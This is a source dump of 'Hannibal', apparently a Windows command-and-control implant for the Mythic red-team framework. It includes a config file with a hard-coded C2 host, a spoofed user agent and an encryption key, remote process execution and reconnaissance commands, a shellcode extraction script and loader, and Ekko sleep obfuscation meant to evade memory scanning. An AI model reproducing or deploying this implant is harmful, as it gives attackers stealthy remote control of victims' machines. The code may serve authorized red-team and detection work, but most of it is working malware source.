https://github.com/MythicAgents/Apollo/blob/master/Payload_Type/apollo/apollo/mythic/agent_functions/pwd.py 2 | 3 | from mythic_container.MythicCommandBase import * 4 | import json 5 | 6 | 7 | class IpinfoArguments(TaskArguments): 8 | 9 | def __init__(self, command_line, **kwargs): 10 | super().__init__(command_line, **kwargs) 11 | self.args = [] 12 | 13 | async def parse_arguments(self): 14 | if len(self.command_line.strip()) > 0: 15 | raise Exception("ipinfo takes no command line arguments.") 16 | pass 17 | 18 | 19 | class IpinfoCommand(CommandBase): 20 | cmd = "ipinfo" 21 | needs_admin = False 22 | help_cmd = "ipinfo" 23 | description = "List IP Adapter Info." 24 | version = 1 25 | author = "@silentwarble" 26 | argument_class = IpinfoArguments 27 | attackmapping = [] 28 | 29 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 30 | response = PTTaskCreateTaskingMessageResponse( 31 | TaskID=taskData.Task.ID, 32 | Success=True, 33 | ) 34 | return response 35 | 36 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 37 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 38 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/whoami.py: -------------------------------------------------------------------------------- 1 | # https://github.com/MythicAgents/Apollo/blob/master/Payload_Type/apollo/apollo/mythic/agent_functions/pwd.py 2 | 3 | from mythic_container.MythicCommandBase import * 4 | import json 5 | 6 | 7 | class WhoamiArguments(TaskArguments): 8 | 9 | def __init__(self, command_line, **kwargs): 10 | super().__init__(command_line, **kwargs) 11 | self.args = [] 12 | 13 | async def parse_arguments(self): 14 | if len(self.command_line.strip()) > 0: 15 | raise Exception("whoami takes no command line arguments.") 16 | pass 17 | 18 | 19 | class WhoamiCommand(CommandBase): 20 | cmd = "whoami" 21 | needs_admin = False 22 | help_cmd = "whoami" 23 | description = "Get current user process is running as." 24 | version = 1 25 | author = "@silentwarble" 26 | argument_class = WhoamiArguments 27 | attackmapping = [] 28 | 29 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 30 | response = PTTaskCreateTaskingMessageResponse( 31 | TaskID=taskData.Task.ID, 32 | Success=True, 33 | ) 34 | return response 35 | 36 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 37 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 38 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/listdrives.py: -------------------------------------------------------------------------------- 1 | # https://github.com/MythicAgents/Apollo/blob/master/Payload_Type/apollo/apollo/mythic/agent_functions/pwd.py 2 | 3 | from mythic_container.MythicCommandBase import * 4 | import json 5 | 6 | 7 | class ListdrivesArguments(TaskArguments): 8 | 9 | def __init__(self, command_line, **kwargs): 10 | super().__init__(command_line, **kwargs) 11 | self.args = [] 12 | 13 | async def parse_arguments(self): 14 | if len(self.command_line.strip()) > 0: 15 | raise Exception("listdrives takes no command line arguments.") 16 | pass 17 | 18 | 19 | class ListdrivesCommand(CommandBase): 20 | cmd = "listdrives" 21 | needs_admin = False 22 | help_cmd = "listdrives" 23 | description = "Lists drives on the machine." 24 | version = 1 25 | author = "@silentwarble" 26 | argument_class = ListdrivesArguments 27 | attackmapping = [] 28 | 29 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 30 | response = PTTaskCreateTaskingMessageResponse( 31 | TaskID=taskData.Task.ID, 32 | Success=True, 33 | ) 34 | return response 35 | 36 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 37 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 38 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/agentinfo.py: -------------------------------------------------------------------------------- 1 | # https://github.com/MythicAgents/Apollo/blob/master/Payload_Type/apollo/apollo/mythic/agent_functions/pwd.py 2 | 3 | from mythic_container.MythicCommandBase import * 4 | import json 5 | 6 | 7 | class AgentinfoArguments(TaskArguments): 8 | 9 | def __init__(self, command_line, **kwargs): 10 | super().__init__(command_line, **kwargs) 11 | self.args = [] 12 | 13 | async def parse_arguments(self): 14 | if len(self.command_line.strip()) > 0: 15 | raise Exception("agentinfo takes no command line arguments.") 16 | pass 17 | 18 | 19 | class AgentinfoCommand(CommandBase): 20 | cmd = "agentinfo" 21 | needs_admin = False 22 | help_cmd = "agentinfo" 23 | description = "Prints internal information from the agent." 24 | version = 1 25 | author = "@silentwarble" 26 | argument_class = AgentinfoArguments 27 | attackmapping = [] 28 | 29 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 30 | response = PTTaskCreateTaskingMessageResponse( 31 | TaskID=taskData.Task.ID, 32 | Success=True, 33 | ) 34 | return response 35 | 36 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 37 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 38 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/config.h: -------------------------------------------------------------------------------- 1 | #ifndef CONFIG_H 2 | #define CONFIG_H 3 | 4 | // #define PIC_BUILD 5 | #define PROFILE_MYTHIC_HTTP 6 | #define CONFIG_SLEEP 3 7 | #define CONFIG_SLEEP_JITTER 0 8 | #define CONFIG_HOST L"192.168.56.112" 9 | #define CONFIG_UA L"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko" 10 | #define CONFIG_POST_URI L"/data" 11 | #define CONFIG_UUID "9ed9825a-5fec-42d6-82a4-80bf77c20848" 12 | #define CONFIG_ENCRYPT_KEY { 0x42, 0x51, 0xb2, 0xc8, 0x19, 0x2e, 0x6d, 0xf8, 0xa1, 0xac, 0xe0, 0x5d, 0xbb, 0xc1, 0x7b, 0x60, 0xa8, 0x80, 0x62, 0xef, 0x96, 0xfa, 0xaa, 0xd6, 0x69, 0x50, 0xde, 0x5c, 0x92, 0x57, 0xa2, 0x68 } 13 | #define REQUIRE_DLL_NTDLL 14 | #define REQUIRE_DLL_KERNEL32 15 | #define REQUIRE_DLL_WININET 16 | #define REQUIRE_DLL_IPHLPAPI 17 | #define REQUIRE_DLL_ADVAPI32 18 | #define REQUIRE_DLL_WS2_32 19 | #define REQUIRE_DLL_BCRYPT 20 | #define INCLUDE_CMD_EXECUTE 21 | #define INCLUDE_CMD_IPINFO 22 | #define INCLUDE_CMD_MV 23 | #define INCLUDE_CMD_MKDIR 24 | #define INCLUDE_CMD_EXIT 25 | #define INCLUDE_CMD_CP 26 | #define INCLUDE_CMD_LS 27 | #define INCLUDE_CMD_RM 28 | #define INCLUDE_CMD_PWD 29 | #define INCLUDE_CMD_SLEEP 30 | #define INCLUDE_CMD_UPLOAD 31 | #define INCLUDE_CMD_WHOAMI 32 | #define INCLUDE_CMD_AGENTINFO 33 | #define INCLUDE_CMD_CD 34 | #define INCLUDE_CMD_DOWNLOAD 35 | #define INCLUDE_CMD_LISTDRIVES 36 | #define INCLUDE_CMD_HOSTNAME 37 | #define INCLUDE_CMD_PS 38 | #define INCLUDE_CMD_EXECUTE_HBIN 39 | 40 | #endif 41 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "files.associations": { 3 | "common.h": "c", 4 | "strings.h": "c", 5 | "string.h": "c", 6 | "windows.h": "c", 7 | "stdint.h": "c", 8 | "macros.h": "c", 9 | "mythic_messages.h": "c", 10 | "utility_http_wininet.h": "c", 11 | "profile_mythic_http.h": "c", 12 | "layer_communication.h": "c", 13 | "utils.h": "c", 14 | "defs.h": "c", 15 | "utility_jsmn.h": "c", 16 | "constexpr.h": "c", 17 | "function_loading.h": "c", 18 | "pb.h": "c", 19 | "initializer_list": "c", 20 | "checkin.pb.h": "c", 21 | "pb_decode.h": "c", 22 | "checkin.capnp.h": "c", 23 | "capnp_c.h": "c", 24 | "utility_strings.h": "c", 25 | "utility_base64.h": "c", 26 | "utility_winapi_function_resolution.h": "c", 27 | "hannibal_tasking.h": "c", 28 | "utility_memory.h": "c", 29 | "utility_sleep_ekko.h": "c", 30 | "hannibal.h": "c", 31 | "utility_encryption_pkcs7_padding.h": "c", 32 | "crypto-sha256-hmac.h": "c", 33 | "crypto-sha256.h": "c", 34 | "utility_hashing_sha256_hmac.h": "c", 35 | "utility_encryption_helpers.h": "c", 36 | "interface_encryption.h": "c", 37 | "cstdlib": "c", 38 | "iphlpapi.h": "c", 39 | "winsock2.h": "c", 40 | "iptypes.h": "c", 41 | "native.h": "c", 42 | "compare": "c", 43 | "type_traits": "c", 44 | "utility": "c", 45 | "config.h": "c" 46 | } 47 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2024, @silentwarble 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_hashing_sha256_hmac.h: -------------------------------------------------------------------------------- 1 | // Credit: https://github.com/robertdavidgraham/whats-dec/blob/master/crypto-sha256-hmac.h 2 | 3 | /* 4 | simple HMAC for prototyping 5 | 6 | This is a simple HMAC-SHA256 module for prototyping, so that you 7 | don't have to pull in a bunch of dependencies. 8 | 9 | Dependencies: 10 | SHA-256 functions, such as from crypto_sha256.c 11 | */ 12 | #ifndef CRYPTO_SHA256_HMAC 13 | #define CRYPTO_SHA256_HMAC 14 | #include "utility_hashing_sha256.h" 15 | #include 16 | 17 | typedef struct { 18 | SHA256_CTX hashctx; 19 | unsigned char key0[64]; 20 | size_t key0_length; 21 | } HMAC_CTX; 22 | 23 | void hmac_sha256_init(HMAC_CTX *ctx, const void *v_key, size_t key_length); 24 | void hmac_sha256_update(HMAC_CTX *ctx, const void *message, 25 | size_t message_length); 26 | void hmac_sha256_final(HMAC_CTX *ctx, unsigned char *digest, 27 | size_t digest_length); 28 | 29 | /** 30 | * @param message 31 | * The message/file/data to hash. 32 | * @param message_length 33 | * The size of the message, in bytes. 34 | * @param key 35 | * The key to use for this keyed-hash. 36 | * @param key_length 37 | * The size of the key, in bytes. 38 | * @param digest 39 | * A pointer to buffer of at least 32-bytes that will 40 | * hold the hash value. 41 | * @param disgest_length 42 | * The length of the buffer. 43 | */ 44 | void crypto_hmac_sha256(const void *key, size_t key_length, const void *message, 45 | size_t message_length, unsigned char *digest, 46 | size_t digest_length); 47 | 48 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/asm/x64/stub_wrapper.asm: -------------------------------------------------------------------------------- 1 | ;; Credit: Adapted from https://github.com/Cracked5pider/Stardust 2 | 3 | [BITS 64] 4 | 5 | DEFAULT REL 6 | 7 | EXTERN InitializeHannibal 8 | 9 | GLOBAL Start 10 | GLOBAL StRipStart 11 | GLOBAL StRipEnd 12 | 13 | GLOBAL ___chkstk_ms 14 | 15 | [SECTION .text$STUB] 16 | 17 | ;; 16-byte stack alignment 18 | Start: 19 | push rsi 20 | mov rsi, rsp 21 | and rsp, 0FFFFFFFFFFFFFFF0h 22 | sub rsp, 020h 23 | call InitializeHannibal 24 | mov rsp, rsi 25 | pop rsi 26 | ret 27 | 28 | StRipStart: 29 | call StRipPtrStart 30 | ret 31 | 32 | StRipPtrStart: 33 | mov rax, [rsp] ;; get the return address 34 | sub rax, 0x1b ;; subtract the instructions size to get the base address 35 | ret ;; return to StRipStart 36 | 37 | ;; If not in this section it points to a bunch of zeros and crashes. 38 | ;; Also works in .text$CODE section. 39 | ;; https://www.metricpanda.com/rival-fortress-update-45-dealing-with-__chkstk-__chkstk_ms-when-cross-compiling-for-windows/ 40 | ;; https://nullprogram.com/blog/2024/02/05/ 41 | ;; https://skanthak.hier-im-netz.de/msvcrt.html 42 | ___chkstk_ms: 43 | ret 44 | 45 | 46 | [SECTION .text$E] 47 | 48 | StRipEnd: 49 | call StRetPtrEnd 50 | ret 51 | 52 | StRetPtrEnd: 53 | mov rax, [rsp] ;; get the return address 54 | add rax, 0xb ;; get implant end address 55 | ret ;; return to StRipEnd 56 | 57 | 58 | [SECTION .text$P] 59 | 60 | SymHannibalEnd: 61 | db 'H', 'A', 'N', 'N', 'I', 'B', 'A', 'L', '-', 'E', 'N', 'D' -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_sleep_ekko.h: -------------------------------------------------------------------------------- 1 | // Pieces were taken from both: 2 | // Credit: https://github.com/Cracked5pider/Ekko 3 | // Credit: https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Obf.c 4 | 5 | 6 | #ifndef UTILITY_SLEEP_EKKO_H 7 | #define UTILITY_SLEEP_EKKO_H 8 | 9 | #include "hannibal.h" 10 | #include "hannibal_tasking.h" 11 | #include "utility_rand.h" 12 | #include "utility_winapi_function_resolution.h" 13 | 14 | 15 | 16 | #define SLEEPOBF_NO_OBF 0x0 17 | #define SLEEPOBF_EKKO 0x1 18 | #define SLEEPOBF_ZILEAN 0x2 19 | #define SLEEPOBF_FOLIAGE 0x3 20 | 21 | #define SLEEPOBF_BYPASS_NONE 0 22 | #define SLEEPOBF_BYPASS_JMPRAX 0x1 23 | #define SLEEPOBF_BYPASS_JMPRBX 0x2 24 | 25 | #define LDR_GADGET_MODULE_SIZE ( 0x1000 * 0x1000 ) 26 | #define LDR_GADGET_HEADER_SIZE ( 0x1000 ) 27 | 28 | 29 | // TODO: Cleanup 30 | 31 | // typedef struct 32 | // { 33 | // DWORD Length; 34 | // DWORD MaximumLength; 35 | // PVOID Buffer; 36 | // } USTRING; 37 | 38 | // NTSTATUS (WINAPI* SystemFunction032) (USTRING* data, USTRING* key); 39 | 40 | 41 | #define NT_SUCCESS(Status) ( ( ( NTSTATUS ) ( Status ) ) >= 0 ) 42 | 43 | 44 | #define OBF_JMP( i, p ) \ 45 | if ( JmpBypass == SLEEPOBF_BYPASS_JMPRAX ) { \ 46 | Rop[i].Rax = (UINT_PTR)p; \ 47 | } if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) { \ 48 | Rop[i].Rbx = (UINT_PTR)&p; \ 49 | } else { \ 50 | Rop[i].Rip = (UINT_PTR)p; \ 51 | } 52 | 53 | void utility_sleep_ekko(ULONG TimeOut, ULONG Method); 54 | 55 | // BOOL EventSet( 56 | // IN HANDLE Event 57 | // ); 58 | 59 | #endif // UTILITY_SLEEP_EKKO_H -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/scripts/build.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding:utf-8 -*- 3 | 4 | import pefile 5 | import argparse 6 | 7 | HANNIBAL_END : bytes = b'HANNIBAL-END' 8 | PAGE_SIZE : int = 0x1000 9 | 10 | def size_to_pages( size: int ) -> int: 11 | PAGE_MASK : int = 0xfff 12 | BASE_PAGE_SHIFT : int = 12 13 | 14 | return ( size >> BASE_PAGE_SHIFT ) + ( ( size & PAGE_MASK ) != 0 ) 15 | 16 | ## 17 | ## parse specified executable file and 18 | ## save .text section shellcode into a file 19 | ## 20 | def main() -> None: 21 | parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' ) 22 | parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str ) 23 | parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str ) 24 | option = parser.parse_args() 25 | 26 | executable = pefile.PE( option.f ) 27 | shellcode = bytearray( executable.sections[ 0 ].get_data() ) 28 | shellcode = shellcode[ : shellcode.find( HANNIBAL_END ) ] 29 | size = len( shellcode ) 30 | 31 | pages = size_to_pages( size ) 32 | padding = ( ( pages * PAGE_SIZE ) - size ) 33 | 34 | for i in range( padding ): 35 | shellcode.append( 0 ) 36 | 37 | size = len( shellcode ) 38 | 39 | print( f"[*] payload len : { size - padding } bytes" ) 40 | print( f"[*] size : { size } bytes" ) 41 | print( f"[*] padding : { padding } bytes" ) 42 | print( f"[*] page count : { size / PAGE_SIZE } pages" ) 43 | 44 | file = open( option.o, 'wb+' ) 45 | 46 | file.write( shellcode ) 47 | file.close() 48 | 49 | return 50 | 51 | if __name__ in '__main__': 52 | main() -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_execute.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | #ifdef INCLUDE_CMD_EXECUTE 4 | 5 | #include "hannibal_tasking.h" 6 | 7 | /** 8 | * CreateProcess has serious OPSEC considerations if target machine has endpoint controls. 9 | */ 10 | SECTION_CODE void cmd_execute(TASK t) 11 | { 12 | HANNIBAL_INSTANCE_PTR 13 | 14 | CMD_EXECUTE *exec = (CMD_EXECUTE *)t.cmd; 15 | LPCWSTR path = exec->path; 16 | 17 | PROCESS_INFORMATION pi = {0}; 18 | STARTUPINFOW si = {0}; 19 | si.cb = sizeof(si); 20 | 21 | if (!hannibal_instance_ptr->Win32.CreateProcessW( 22 | NULL, // No module name (use command line) 23 | path, // Command line 24 | NULL, // Process handle not inheritable 25 | NULL, // Thread handle not inheritable 26 | FALSE, // Set handle inheritance to FALSE 27 | 0, // No creation flags 28 | NULL, // Use parent's environment block 29 | NULL, // Use parent's starting directory 30 | &si, // Pointer to STARTUPINFO structure 31 | &pi // Pointer to PROCESS_INFORMATION structure 32 | ) 33 | ) { 34 | // return; 35 | } 36 | 37 | WCHAR new_pid[20] = {0}; 38 | dword_to_wchar(pi.dwProcessId, new_pid, 10); 39 | 40 | hannibal_instance_ptr->Win32.CloseHandle(pi.hProcess); 41 | hannibal_instance_ptr->Win32.CloseHandle(pi.hThread); 42 | 43 | hannibal_response(new_pid, t.task_uuid); 44 | 45 | hannibal_instance_ptr->Win32.VirtualFree(exec->path, 0, MEM_RELEASE); 46 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 47 | 48 | } 49 | 50 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_whoami.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | 4 | #ifdef INCLUDE_CMD_WHOAMI 5 | 6 | #include "hannibal_tasking.h" 7 | 8 | /** 9 | * Requires Advapi32.dll. 10 | */ 11 | SECTION_CODE void cmd_whoami(TASK t) 12 | { 13 | HANNIBAL_INSTANCE_PTR 14 | 15 | CMD_WHOAMI *who = (CMD_WHOAMI *)t.cmd; 16 | 17 | HANDLE hToken; 18 | if(hannibal_instance_ptr->Win32.OpenProcessToken(-1, TOKEN_QUERY, &hToken)){ 19 | 20 | DWORD dwSize = 0; 21 | 22 | hannibal_instance_ptr->Win32.GetTokenInformation(hToken, TokenUser, 0, 0, &dwSize); 23 | 24 | BYTE buffer[dwSize]; 25 | PTOKEN_USER pTokenUser = (PTOKEN_USER)buffer; 26 | 27 | if (hannibal_instance_ptr->Win32.GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize)){ 28 | 29 | WCHAR name[256]; 30 | WCHAR domain[256]; 31 | DWORD nameSize = sizeof(name); 32 | DWORD domainSize = sizeof(domain); 33 | SID_NAME_USE sidType; 34 | 35 | if(hannibal_instance_ptr->Win32.LookupAccountSidW(NULL, pTokenUser->User.Sid, name, &nameSize, domain, &domainSize, &sidType)){ 36 | 37 | WCHAR response[sizeof(domain) + sizeof(name) + pic_strlenW(L"\\") + 2]; 38 | pic_memcpy(response, domain, pic_strlenW(domain)*sizeof(WCHAR)); 39 | pic_strcatW(response + pic_strlenW(domain), L"\\"); 40 | pic_strcatW(response + pic_strlenW(domain) + pic_strlenW(L"\\"), name); 41 | hannibal_response(response, t.task_uuid); 42 | 43 | } 44 | } 45 | } 46 | 47 | hannibal_instance_ptr->Win32.CloseHandle(hToken); 48 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 49 | 50 | } 51 | 52 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/scripts/loader.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | LPVOID LoadFileIntoMemory( LPSTR Path, PDWORD MemorySize ) { 5 | PVOID ImageBuffer = NULL; 6 | DWORD dwBytesRead = 0; 7 | HANDLE hFile = NULL; 8 | 9 | hFile = CreateFileA( Path, GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0 ); 10 | if (hFile == INVALID_HANDLE_VALUE) 11 | { 12 | printf( "Error opening %s\r\n", Path ); 13 | return NULL; 14 | } 15 | 16 | if ( MemorySize ) 17 | *MemorySize = GetFileSize( hFile, 0 ); 18 | ImageBuffer = ( PBYTE ) LocalAlloc( LPTR, *MemorySize ); 19 | 20 | ReadFile( hFile, ImageBuffer, *MemorySize, &dwBytesRead, 0 ); 21 | CloseHandle( hFile ); 22 | 23 | return ImageBuffer; 24 | } 25 | 26 | typedef void ( * ShellcodeMain )(); 27 | 28 | int main( int argc, char** argv ) 29 | { 30 | PVOID ShellcodeBytes = NULL; 31 | DWORD ShellcodeSize = 0; 32 | DWORD OldProtection = 0; 33 | 34 | LPVOID ShellcodeMemory = NULL; 35 | 36 | if ( argc < 2 ) 37 | { 38 | printf( "[-] %s \n", argv[ 0 ] ); 39 | return 0; 40 | } 41 | 42 | ShellcodeBytes = LoadFileIntoMemory( argv[ 1 ], &ShellcodeSize ); 43 | ShellcodeMemory = VirtualAlloc( NULL, ShellcodeSize, MEM_COMMIT, PAGE_READWRITE ); 44 | 45 | if ( ! ShellcodeMemory ) 46 | { 47 | printf("[-] Failed to allocate Virtual Memory\n"); 48 | return 0; 49 | } 50 | 51 | printf( "[*] Address => %p\n", ShellcodeMemory ); 52 | 53 | memcpy( ShellcodeMemory, ShellcodeBytes, ShellcodeSize ); 54 | 55 | VirtualProtect( ShellcodeMemory, ShellcodeSize, PAGE_EXECUTE_READ, &OldProtection ); 56 | 57 | puts("[+] Execute shellcode... press enter"); 58 | getchar(); 59 | 60 | ((ShellcodeMain)ShellcodeMemory)(); 61 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_cd.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | #ifdef INCLUDE_CMD_CD 4 | 5 | #include "hannibal_tasking.h" 6 | 7 | 8 | SECTION_CODE void cmd_cd(TASK t) 9 | { 10 | HANNIBAL_INSTANCE_PTR 11 | 12 | CMD_CD *cd = (CMD_CD *)t.cmd; 13 | LPCWSTR path = cd->path; 14 | 15 | DWORD fileAttr = hannibal_instance_ptr->Win32.GetFileAttributesW(path); 16 | if (fileAttr == INVALID_FILE_ATTRIBUTES) { 17 | TASK response_t; 18 | LPCWSTR response_content = L"Does Not Exist"; 19 | response_t.output = (LPCSTR)response_content; 20 | response_t.output_size = pic_strlenW(response_content)*sizeof(WCHAR) + 2; 21 | response_t.task_uuid = t.task_uuid; 22 | 23 | task_enqueue(hannibal_instance_ptr->tasks.tasks_response_queue, &response_t); 24 | 25 | hannibal_instance_ptr->Win32.VirtualFree(cd->path, 0, MEM_RELEASE); 26 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 27 | 28 | return; 29 | } 30 | 31 | BOOL result = hannibal_instance_ptr->Win32.SetCurrentDirectoryW(path); 32 | 33 | LPCWSTR response_content; 34 | if(result){ 35 | response_content = (WCHAR *)hannibal_instance_ptr->Win32.VirtualAlloc(NULL, MAX_PATH*sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE); 36 | DWORD len = hannibal_instance_ptr->Win32.GetCurrentDirectoryW(MAX_PATH, response_content); 37 | } else { 38 | response_content = L"Fail"; 39 | } 40 | 41 | 42 | TASK response_t; 43 | response_t.output = (LPCSTR)response_content; 44 | response_t.output_size = pic_strlenW(response_content)*sizeof(WCHAR) + 2; 45 | response_t.task_uuid = t.task_uuid; 46 | 47 | task_enqueue(hannibal_instance_ptr->tasks.tasks_response_queue, &response_t); 48 | 49 | hannibal_instance_ptr->Win32.VirtualFree(cd->path, 0, MEM_RELEASE); 50 | hannibal_instance_ptr->Win32.VirtualFree(t.cmd, 0, MEM_RELEASE); 51 | 52 | } 53 | 54 | #endif -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/utility_encryption_pkcs7_padding.c: -------------------------------------------------------------------------------- 1 | #include "utility_encryption_pkcs7_padding.h" 2 | 3 | /** 4 | * TODO: I don't see where I'm actually making use of these except 5 | * to validate my results. I ended up manually padding. 6 | * Can possibly remove. 7 | */ 8 | 9 | 10 | SECTION_CODE int pkcs7_padding_pad_buffer( uint8_t *buffer, size_t data_length, size_t buffer_size, uint8_t modulus ) 11 | { 12 | uint8_t pad_byte = modulus - ( data_length % modulus ) ; 13 | if( data_length + pad_byte > buffer_size ){ 14 | return -pad_byte; 15 | } 16 | int i = 0; 17 | while( i < pad_byte){ 18 | buffer[data_length+i] = pad_byte; 19 | i++; 20 | } 21 | return pad_byte; 22 | } 23 | 24 | SECTION_CODE int pkcs7_padding_valid( uint8_t *buffer, size_t data_length, size_t buffer_size, uint8_t modulus ) 25 | { 26 | uint8_t expected_pad_byte = modulus - ( data_length % modulus ) ; 27 | if( data_length + expected_pad_byte > buffer_size ){ 28 | return 0; 29 | } 30 | int i = 0; 31 | while( i < expected_pad_byte ){ 32 | if( buffer[data_length + i] != expected_pad_byte){ 33 | return 0; 34 | } 35 | i++; 36 | } 37 | return 1; 38 | } 39 | 40 | SECTION_CODE size_t pkcs7_padding_data_length( uint8_t * buffer, size_t buffer_size, uint8_t modulus ) 41 | { 42 | /* test for valid buffer size */ 43 | if( buffer_size % modulus != 0 || 44 | buffer_size < modulus ){ 45 | return 0; 46 | } 47 | uint8_t padding_value; 48 | padding_value = buffer[buffer_size-1]; 49 | /* test for valid padding value */ 50 | if( padding_value < 1 || padding_value > modulus ){ 51 | return 0; 52 | } 53 | /* buffer must be at least padding_value + 1 in size */ 54 | if( buffer_size < padding_value + 1 ){ 55 | return 0; 56 | } 57 | uint8_t count = 1; 58 | buffer_size --; 59 | for( ; count < padding_value ; count++){ 60 | buffer_size --; 61 | if( buffer[buffer_size] != padding_value ){ 62 | return 0; 63 | } 64 | } 65 | return buffer_size; 66 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/include/utility_strings.h: -------------------------------------------------------------------------------- 1 | #ifndef UTILITY_STRINGS_H 2 | #define UTILITY_STRINGS_H 3 | 4 | #include "hannibal.h" 5 | 6 | 7 | #define H_MAGIC_KEY 5381 8 | #define H_MAGIC_SEED 5 9 | #define H_MODULE_NTDLL 0x70e61753 10 | #define H_MODULE_KERNEL32 0xadd31df0 11 | 12 | // Sometimes builtins are janky. Prefer custom PIC version. 13 | // #define pic_sprintf __builtin_sprintf 14 | // #define pic_sscanf __builtin_sscanf 15 | // #define pic_tolower __builtin_tolower 16 | // #define pic_strdup __builtin_strdup 17 | // #define pic_snprintf __builtin_snprintf 18 | 19 | #ifdef __cplusplus 20 | #define CONSTEXPR constexpr 21 | #else 22 | #define CONSTEXPR 23 | #endif 24 | 25 | #define HASH_STR( x ) ExprHashStringA( ( x ) ) 26 | 27 | CONSTEXPR ULONG ExprHashStringA( 28 | _In_ PCHAR String 29 | ) { 30 | ULONG Hash = { 0 }; 31 | CHAR Char = { 0 }; 32 | 33 | Hash = H_MAGIC_KEY; 34 | 35 | if ( ! String ) { 36 | return 0; 37 | } 38 | 39 | while ( ( Char = *String++ ) ) { 40 | /* turn current character to uppercase */ 41 | if ( Char >= 'a' ) { 42 | Char -= 0x20; 43 | } 44 | 45 | Hash = ( ( Hash << H_MAGIC_SEED ) + Hash ) + Char; 46 | } 47 | 48 | return Hash; 49 | } 50 | 51 | 52 | ULONG HashString( 53 | _In_ PVOID String, 54 | _In_ SIZE_T Length 55 | ); 56 | 57 | size_t pic_strlen(const char *str); 58 | size_t 